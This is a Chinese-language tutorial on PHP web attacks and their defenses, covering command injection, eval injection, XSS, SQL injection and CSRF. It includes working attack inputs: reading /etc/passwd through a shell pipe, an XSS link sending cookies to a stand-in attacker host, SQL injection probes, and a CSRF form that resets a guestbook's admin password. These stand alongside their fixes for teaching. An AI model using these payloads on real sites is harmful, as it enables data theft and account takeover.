針對PHP的網站主要存在下面幾種攻擊方式:
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、用戶端指令碼攻擊(Script Insertion)
4、跨網站指令碼攻擊(Cross Site Scripting, XSS)
5、SQL注入攻擊(SQL injection)
6、跨網站偽造要求攻擊(Cross Site Request Forgeries, CSRF)
7、Session 工作階段劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應拆分攻擊(HTTP Response Splitting)
10、檔案上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠程檔案包含攻擊(Remote Inclusion)
13、動態函數注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)
命令注入攻擊
PHP中可以使用下列5個函數來執行外部的應用程式或函數
system、exec、passthru、shell_exec、“(與shell_exec功能相同)
函數原型
string system(string command, int &return_var)
command 要執行的命令
return_var 存放執行命令的執行後的狀態值
string exec (string command, array &output, int &return_var)
command 要執行的命令
output 獲得執行命令輸出的每一行字串
return_var 存放執行命令後的狀態值
void passthru (string command, int &return_var)
command 要執行的命令
return_var 存放執行命令後的狀態值
string shell_exec (string command)
command 要執行的命令
漏洞執行個體
例1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
我們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以後,命令變成了 system("ls -al | cat /etc/passwd");
eval注入攻擊
eval函數將輸入的字串參數當作PHP程式碼來執行
函數原型:
mixed eval(string code_str) //eval注入一般發生在攻擊者能控制輸入的字串的時候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
當我們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了
動態函數
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程式員原意是想動態調用A和B函數,那我們提交http://www.sectop.com/ex.php?func=phpinfo 漏洞產生
防範方法
1、盡量不要執行外部命令
2、使用自訂函數或函數庫來替代外部命令的功能
3、使用escapeshellarg函數來處理命令參數
4、使用safe_mode_exec_dir指定可執行檔的路徑
esacpeshellarg函數會將任何引起參數或命令結束的字元轉義,單引號“'”,替換成“\'”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”
用safe_mode_exec_dir指定可執行檔的路徑,可以把會使用的命令提前放入此路徑內
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
用戶端指令碼植入
用戶端指令碼植入(Script Insertion),是指將可以執行的指令碼插入到表單、圖片、動畫或超連結顯示文字等對象內。當使用者開啟這些對象後,攻擊者所植入的指令碼就會被執行,進而開始攻擊。
可以被用作指令碼植入的HTML標籤一般包括以下幾種:
1、<script>標籤標記的javascript和vbscript等頁面指令碼程式。在<script>標籤內可以指定js程式碼,也可以在src屬性內指定js檔案的URL路徑
2、<object>標籤標記的對象。這些對象是java applet、多媒體檔案和ActiveX控制項等。通常在data屬性內指定對象的URL路徑
3、<embed>標籤標記的對象。這些對象是多媒體檔案,例如:swf檔案。通常在src屬性內指定對象的URL路徑
4、<applet>標籤標記的對象。這些對象是java applet,通常在codebase屬性內指定對象的URL路徑
5、<form>標籤標記的對象。通常在action屬性內指定要處理表單資料的web應用程式的URL路徑
用戶端指令碼植入的攻擊步驟
1、攻擊者註冊普通使用者後登陸網站
2、開啟留言頁面,插入攻擊的js代碼
3、其他使用者登入網站(包括管理員),瀏覽此留言的內容
4、隱藏在留言內容中的js代碼被執行,攻擊成功
執行個體
資料庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
提交的留言
瀏覽此留言的時候會執行js指令碼
插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
或者使用其他自行構造的js代碼進行攻擊
防範的方法
一般使用htmlspecialchars函數來將特殊字元轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,預設值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字元集
函數會將下列特殊字元轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然後再查看插入js的漏洞頁面
XSS跨站指令碼攻擊
XSS(Cross Site Scripting),意為跨網站指令碼攻擊,為了和樣式表css(Cascading Style Sheet)區別,縮寫為XSS
跨站指令碼主要被攻擊者利用來讀取網站使用者的cookies或者其他個人資料,一旦攻擊者得到這些資料,那麼他就可以偽裝成此使用者來登入網站,獲得此使用者的許可權。
跨站指令碼攻擊的一般步驟:
1、攻擊者以某種方式發送xss的http連結給目標使用者
2、目標使用者登入此網站,在登陸期間開啟了攻擊者發送的xss連結
3、網站執行了此xss攻擊指令碼
4、目標使用者頁面跳轉到攻擊者的網站,攻擊者取得了目標使用者的資訊
5、攻擊者使用目標使用者的資訊登入網站,完成攻擊
當有存在跨站漏洞的程式出現的時候,攻擊者可以構造類似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,誘騙使用者點擊後,可以擷取使用者cookies值
防範方法:
利用htmlspecialchars函數將特殊字元轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,預設值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字元集
函數會將下列特殊字元轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]變數的跨站
在某個表單中,如果提交參數給自己,會用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變數的值為當前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那麼我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那麼表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站指令碼被插進去了
防禦方法還是使用htmlspecialchars過濾輸出的變數,或者提交給自身檔案的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變數被跨站
SQL注入攻擊
SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的sql語句,改動原來的sql語句,如果web程式沒有對提交的資料經過檢查,那麼就會造成sql注入攻擊。
SQL注入攻擊的一般步驟:
1、攻擊者訪問有SQL注入漏洞的網站,尋找注入點
2、攻擊者構造注入語句,注入語句和程式中的SQL語句結合產生新的sql語句
3、新的sql語句被提交到資料庫中執行 處理
4、資料庫執行了新的SQL語句,引發SQL注入攻擊
執行個體
資料庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='運用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to ‘sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點,我們來測試
http://www.netsos.com.cn/show.php?id=71 and 1=1
返回頁面
提交
一次查詢到記錄,一次沒有,我們來看看源碼
//show.php 12-15行
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
參數id傳遞進來後,和前面的字串結合的sql語句放入資料庫執行 查詢
提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都為真,and以後也為真,返回查詢到的資料
提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,後值為假,and以後為假,查詢不到任何資料
正常的SQL查詢,經過我們構造的語句之後,形成了SQL注入攻擊。通過這個注入點,我們還可以進一步拿到許可權,比如說運用 union讀取管理密碼,讀取資料庫資訊,或者用mysql的load_file,into outfile等函數進一步滲透。
防範方法
整型參數:
運用 intval函數將資料轉換成整數
函數原型
int intval(mixed var, int base)
var是要轉換成整形的變數
base,可選,是基礎數,預設是10
浮點型參數:
運用 floatval或doubleval函數分別轉換單精確度和雙精確度浮點型參數
函數原型
int floatval(mixed var)
var是要轉換的變數
int doubleval(mixed var)
var是要轉換的變數
字元型參數:
運用 addslashes函數來將單引號“'”轉換成“\'”,雙引號“"”轉換成“\"”,反斜線“\”轉換成“\\”,NULL字元加上反斜線“\”
函數原型
string addslashes (string str)
str是要檢查的字串
那麼剛才出現的代碼漏洞,我們可以這樣修補
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
如果是字元型,先判斷magic_quotes_gpc能無法 為On,當不為On的時候運用 addslashes轉義特殊字元
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次測試,漏洞已經修補
垮網站偽造請求
CSRF(Cross Site Request Forgeries),意為跨網站偽造要求,也有寫為XSRF。攻擊者偽造目標使用者的HTTP請求,然後此請求發送到有CSRF漏洞的網站,網站執行此請求後,引發跨站請求偽造攻擊。攻擊者利用隱形HTTP串連,讓目標使用者在不注意的情況下單擊這個連結,由於是使用者自己點擊的,而他又是合法使用者擁有合法許可權,所以目標使用者能夠在網站內執行特定的HTTP連結,從而達到攻擊者的目的。
例如:某個購物網站購買商品時,採用http://www.shop.com/buy.php?item=watch&num=1,item參數確定要購買什麼物品,num參數確定要購買數量,如果攻擊者以隱藏的方式發送給目標使用者連結
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那麼如果目標使用者不小心訪問以後,購買的數量就成了1000個
執行個體
隨緣網路PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
<?php
include_once("dlyz.php"); //dlyz.php使用者驗證許可權,當許可權是admin的時候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘刪除成功!');";
echo " location='book.php';";
echo "</script>";
?>
當我們具有admin許可權,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id為2的留言
利用方法:
我們使用普通使用者留言(原始碼方式),內容為
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片連結分別刪除4個id留言,然後我們返回首頁瀏覽看,沒有什麼變化。。圖片顯示不了
現在我們再用管理員帳號登陸後,來重新整理首頁,會發現留言就剩一條,其他在圖片連結中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片連結,此連結具有刪除留言的作用,而攻擊者自己訪問這些圖片連結的時候,是不具有許可權的,所以看不到任何效果,但是當管理員登陸後,查看此留言,就會執行隱藏的連結,而他的許可權又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計製作:<a href=http://www.115cn.cn>廈門隨緣網路科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
這個檔案用於修改管理密碼和網站設定的一些資訊,我們可以直接構造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網路PHP留言板V1.0(帶審核功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網路PHP留言板V1.0(帶審核功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網路PHP留言本V1.0 著作權:廈門隨緣網路科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機網域名稱</textarea>
</form>
</body>
存為attack.html,放到自己網站上http://www.sectop.com/attack.html,此頁面訪問後會自動向目標程式的pass.php提交參數,使用者名稱修改為root,密碼修改為root,然後我們去留言板發一條留言,隱藏這個連結,管理訪問以後,他的使用者名稱和密碼全部修改成了root
防範方法
防範CSRF要比防範其他攻擊更加困難,因為CSRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標使用者發出的,一般常見的防範方法有下面幾種:
1、檢查網頁的來源
2、檢查內建的隱藏變數
3、使用POST,不要使用GET
檢查網頁來源
在//pass.php頭部加入以下紅色字型代碼,驗證資料提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘資料來源異常!');";
&
nbsp; echo " location='index.php';";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計製作:<a href=http://www.115cn.cn>廈門隨緣網路科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
檢查內建隱藏變數
我們在表單中內建一個隱藏變數和一個session變數,然後檢查這個隱藏變數和session變數是否相等,以此來判斷是否同一個網頁所調用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 產生唯一的ID,並使用MD5來加密
$post_id = md5(uniqid(rand(), true));
// 建立Session變數
$_SESSION["post_id"] = $post_id;
}
// 檢查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除POST變數
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘資料來源異常!');";
echo " location='index.php';";
echo "</script>";
}
}
……
<input type="reset" name="Submit2" value="重 置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
</table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用POST,不要使用GET
傳遞表單欄位時,一定要是用POST,不要使用GET,處理變數也不要直接使用$_REQUEST
http響應拆分
HTTP請求的格式
1)請求資訊:例如“Get /index.php HTTP/1.1”,請求index.php檔案
2)表頭:例如“Host: localhost”,表示伺服器位址
3)空白行
4)資訊本文
“請求資訊”和“表頭”都必須使用換行字元(CRLF)來結尾,空白行只能包含分行符號,不可以有其他空格符。
下面例子發送HTTP請求給伺服器www.yhsafe.com
GET /index.php HTTP/1.1 //請求資訊
Host:www.yhsafe.com //表頭
//空格行 符號表示斷行符號鍵,在空白行之後還要在按一個空格才會發送HTTP請求,HTTP請求的表頭中只有Host表頭是必要的餓,其餘的HTTP表頭則是根據HTTP請求的內容而定。
HTTP請求的方法1)GET:請求響應2)HEAD:與GET相同的響應,只要求響應表頭3)POST:發送資料給伺服器處理,資料包含在HTTP資訊本文中4)PUT:上傳檔案5)DELETE:刪除檔案6)TRACE:追蹤收到的請求7)OPTIONS:返回伺服器所支援的HTTP請求的方法8)CONNECT:將HTTP請求的串連轉換成透明的TCP/IP通道
HTTP響應的格式伺服器在處理完用戶端所提出的HTTP請求後,會發送下列響應。1)第一行是狀態代碼2)第二行開始是其他資訊狀態代碼包含一個標識狀態的數字和一個描述狀態的單詞。例如:HTTP/1.1 200 OK200是標識狀態的是數字,OK則是描述狀態的單詞,這個狀態代碼標識請求成功。
HTTP請求和響應的例子
開啟cmd輸入telnet,輸入open www.00aq.com 80
開啟串連後輸入
GET /index.php HTTP/1.1
Host:www.00aq.com
返回HTTP響應的表頭
返回的首頁內容
使用PHP來發送HTTP請求
header函數可以用來發送HTTP請求和響應的表頭
函數原型
void header(string string [, bool replace [, int http_response_code]])